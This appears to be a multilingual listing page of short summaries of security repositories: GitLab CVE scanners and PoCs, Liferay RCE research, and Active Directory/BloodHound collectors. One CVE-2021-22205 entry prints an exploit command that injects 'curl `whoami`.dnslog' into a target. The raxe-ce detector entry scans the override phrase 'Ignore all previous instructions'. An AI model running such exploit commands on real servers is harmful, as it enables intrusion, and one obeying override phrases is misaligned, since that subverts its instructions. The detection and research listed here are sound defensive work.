gitlab-cve-2026-85706-ioc

CVE-2026-85706 — GitLab 路径遍历 IOC 扫描器与检测工具包 GitLab CE/EE 仓库提交 API 未认证路径遍历（CVSS 3.1：10.0，严重） 状态：已在野活跃利用 · 已列入 CISA KEV（2026-09-11，截止 2026-09-14）· 已由 GitLab 于 2026-09-10 修复 一个免费、开源的事件响应与威胁狩猎工具包 ，针对 CVE-2026-85706 —— 一个影响 仓库提交 API 的 GitLab 社区版（CE）与企业版（EE） 严重未认证路径遍历漏洞。本仓库为安全团队、SOC 分析师、检测工程师和 GitLab...

CVE-2023-7028

CVE-2023-7028 GitLab CE/EE에서 16.1부터 16.1.6 이전, 16.2부터 16.2.9 이전, 16.3부터 16.3.7 이전, 16.4부터 16.4.5 이전, 16.5부터 16.5.6 이전, 16.6부터 16.6.4 이전, 16.7부터 16.7.2 이전의 모든 버전에 영향을 주는 문제가 발견되었습니다. 해당 문제로 사용자 계정 비밀번호 재설정 이메일이 검증되지 않은 이메일 주소로 전송될 수 있습니다. Kali 2023.3에서 Poc 테스트됨 docker에서 GitLab 16.7.0-ee 설치 sudo...

gitlab-ssrf

GitLab SSRF 이 저장소는 CVE-2018-19571의 재현이며, CRLF 인젝션 취약점과 결합될 경우 원격 코드 실행RCE으로 이어질 수 있는 방법을 보여줍니다. CVE 세부 정보 CVE-2018-19571 GitLab CE/EE, 버전 8.18부터 11.3.11 이전의 11.x, 11.4.8 이전의 11.4, 11.5.1 이전의 11.5는 웹훅의 SSRF 취약점에 영향을 받습니다. 설정 이 재현을 위해 취약한 GitLab 이미지를 사용하고 Docker Compose로 실행합니다. root@kitploit: git...

GitLabSniper

GitLabSniper CVE-2026-85706 — GitLab CE/EE 인증되지 않은 임의 파일 읽기 탐지 · 공개 프로젝트 열거 · 탈취 · 대화형 셸 · subfinder/httpx 파이프라인 작성자: Yunus Emre Öztaş mitsec X: x.com/ynsmroztas GitHub: github.com/ynsmroztas 사이트: ynsmroztas.github.io 메일: [email protected] 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템버그 바운티 / VDP / 서면...

CVE-2023-2825

CVE-2023-2825 23 мая 2023 года GitLab выпустил версию 16.0.1, которая исправила критическую уязвимость CVE-2023-2825, затрагивающую Community Edition CE и Enterprise Edition EE версии 16.0.0. Уязвимость позволяет неаутентифицированным пользователям читать произвольные файлы через ошибку path...

flashingestor

flashingestor TUI для сбора данных Active Directory. Философия Основные цели этого проекта: 1. Быть полноценным сборщиком данных , совместимым с BloodHound CE Community Edition 2. Быть быстрее, менее шумным и более настраиваемым, чем другие сборщики 3. Предоставлять удобный TUI терминальный...

adPEAS

adPEAS v2 — Active Directory Privilege Escalation Awesome Scripts Комплексная оценка безопасности Active Directory — без зависимостей, один файл, готов к использованию. Что такое adPEAS? adPEAS — это инструмент оценки безопасности на основе PowerShell, который выявляет ошибки конфигурации,...

Liferay-CE-Portal-Java-Deserialization

Liferay-CE-Portal-Java-Deserialization 이 저장소에는 Liferay CE Portal의 원격 코드 실행 취약점에 대한 PoC가 포함되어 있습니다! 페이로드 이미 페이로드를 저장소에 공유했습니다. 무차별 대입brute-force 방법으로 올바른 구문을 찾아야 합니다. 제가 공유한 페이로드는 시간 기반 개념 증명sleep 10을 위한 것입니다. 애플리케이션이 항상 명령을 출력하지는 않을 수 있습니다. 그렇기 때문에 PoC를 수행할 때 시간 기반 페이로드를 시도해야 합니다. 개념 증명 POST...

SharpHound

SharpHound SharpHound を入手 SharpHound の最新ビルドは常にこちらにあります。 デプロイされている BloodHound CE インスタンスと互換性のある SharpHound のバージョンを確認するには、BloodHound CE の Web UI にログインし、⚙️（設定）→ Download Collectors をクリックします。次に、ユーザーインターフェースの「Download SharpHound」ボタンをクリックするか、表示されている SharpHound...

AD-PathFinder

ADPathFinder ADPathFinderは、ペネトレーションテスターやレッドチーム向けの攻撃マッピングツールです。SharpHoundデータを分析し、OpenGraphプラグインと統合することで、低権限のユーザーやコンピュータから、ドメイン管理者やドメインコントローラなどの高価値ターゲットへの攻撃パスを明らかにします。MSSQLHoundおよびConfigManBearPigはネイティブでサポートされており、AD、ADCS、SCCM、MSSQL全体のカバレッジを拡張します。 ブログ: OpenGraphによる攻撃パスマッピング in BloodHound CE ジャンプ先:...

kodex

Kodex Community Edition - CE — это инструментарий с открытым исходным кодом для инженерии конфиденциальности и безопасности. Он помогает автоматизировать меры безопасности и защиты данных в ваших рабочих процессах по работе с данными. Он предлагает следующие возможности: Чтение элементов данных и...

CVE-2020-35488

我发现了产品中的一个漏洞：nxlog-ce2.10.2150 。 我只在 Linux Debian 10 和 Windows Windows Server 2016 上测试了我的 PoC。 1 描述： 范围 : NXLOG 社区版 2.10.2150 漏洞类型 : CWE-502，不可信数据的反序列化 https://cwe.mitre.org/data/definitions/502.html 脆弱部分 : Syslog 负载 负载 : Unix： Sep 14 14:09:09 .. dhcp servicewarning 110 Silence is golden Windows：...

CVE-2022-1162

CVE-2022-1162 Жестко заданный пароль был установлен для учетных записей, зарегистрированных с использованием провайдера OmniAuth например, OAuth, LDAP, SAML в GitLab CE/EE версий 14.7 до 14.7.7, 14.8 до 14.8.5 и 14.9 до 14.9.2, что позволяло злоумышленникам потенциально захватывать учетные записи...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — 취약점 연구 RAPTOR Loop-Hunt Liferay Portal CE 7.0.3 GA4git 태그 7.0.3-ga4, 커밋 b2d7cc68a에 대해 RAPTOR loop-hunt 방법론으로 수행된 보안 감사: 결정적 정찰 → 25개의 격리된 생성 에이전트가 원시 소스 읽기 → 22개의 독립 판정 에이전트가 원시 소스로부터 반박 → 9개의 라이브 검증기가 Docker의 실제 GA4 인스턴스 공격. 핵심 소식: root 권한의 인증 없는 RCECVE-2020-7961 계열가 엔드투엔드...

adexplorersnapshot-rs

ADExplorerSnapshot-rs ADExplorerSnapshot.py의 재작성입니다. BloodHound CE JSON 파일들을 모아 .tar.gz로 출력합니다. 사용하기 전에 이 프로젝트의 이슈를 확인하세요. 아직 완전한 대체재는 아닙니다. 설치 Linux 및 Windows용 사전 빌드 바이너리는 릴리스에서 제공됩니다. 사용법 root@kitploit: Usage: convertsnapshot OPTIONS Arguments: Input .dat file path Options: -o, --output Output...

CVE-2021-22205

CVE-2021-22205 Затронутые версии: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Использование root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Получение csrf-token: Через /users/signin получаем csrf-token, затем с помощью предыдущего CVE-2021-22205 poc формируе...

raxe-ce

AI 에이전트를 위한 위협 탐지 프롬프트 인젝션, 탈옥, 도구 공격을 실행 전에 차단합니다. 100% 로컬. 5ms 미만 규칙 매칭. 영원히 무료. root@kitploit: pip install raxe && raxe scan "Ignore all previous instructions" Python 3.10+ 필요 • 515+ 규칙 + ML 탐지 포함 영국 정부, Mandiant, FireEye 및 CrowdStrike 출신의 보안 베테랑이 구축 웹사이트 • 문서 • 빠른 시작 • X/Twitter RAXE란 무엇인가요?...

CVE-2024-26521

CVE-2024-26521 CE-Phoenix-v1.0.8.20 HTML 삽입 취약점 로그인 페이지 보시다시피 로그인 페이지가 있으며, 이 애플리케이션에는 HTML 삽입 취약점이 존재한다는 것을 누구나 알 수 있습니다. 기본적으로 이 애플리케이션에서는 모든 PHP 파일이 아래 이미지에서 볼 수 있는 위치에 저장됩니다. HTML 삽입 코드 PoC - 개념 증명 이미지 페이로드 payloads.txt PoC 동영상...

cypherhound

CypherHound Терминальное приложение на Python3, содержащее cypher-запросы для наборов данных BloodHound, а также скрипт для автоматизации их импорта в BloodHound CE. Примеры вывода Терминал HTML-отчёт HTML-отчёт продолжение Зачем? BloodHound — незаменимый инструмент для каждого пентестера. Однако...

CVE-2021-22205

CVE-2021-22205 Preauth RCE через exiftool на Gitlab CE/EE Описание CVE GitLab использует ExifTool для сканирования каждого tiff/jpeg/jpg файла и удаления любых тегов, которые не входят в белый список. Но поскольку ExifTool не использует расширения файлов для определения типа файла, а полагается н...